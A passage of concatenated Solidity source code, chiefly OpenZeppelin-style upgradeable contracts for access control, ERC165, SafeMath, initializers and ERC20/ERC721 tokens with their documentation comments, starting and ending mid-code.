_accountId; while (number >= 10) { number = number.div(10); } return number == _firstDigit; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSetUpgradeable.sol"; import "../utils/AddressUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using AddressUpgradeable for address; struct RoleData { EnumerableSetUpgradeable.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165Upgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ERC20Upgradeable.sol"; import "../../utils/PausableUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable { function __ERC20Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); __ERC20Pausable_init_unchained(); } function __ERC20Pausable_init_unchained() internal initializer { } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ERC721Upgradeable.sol"; import "../../utils/PausableUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721PausableUpgradeable is Initializable, ERC721Upgradeable, PausableUpgradeable { function __ERC721Pausable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __Pausable_init_unchained(); __ERC721Pausable_init_unchained(); } function __ERC721Pausable_init_unchained() internal initializer { } /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC721Upgradeable.sol"; import "./IERC721MetadataUpgradeable.sol"; import "./IERC721EnumerableUpgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "../../introspection/ERC165Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/EnumerableSetUpgradeable.sol"; import "../../utils/EnumerableMapUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable, IERC721EnumerableUpgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet; using EnumerableMapUpgradeable for EnumerableMapUpgradeable.UintToAddressMap; using StringsUpgradeable for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSetUpgradeable.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMapUpgradeable.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See 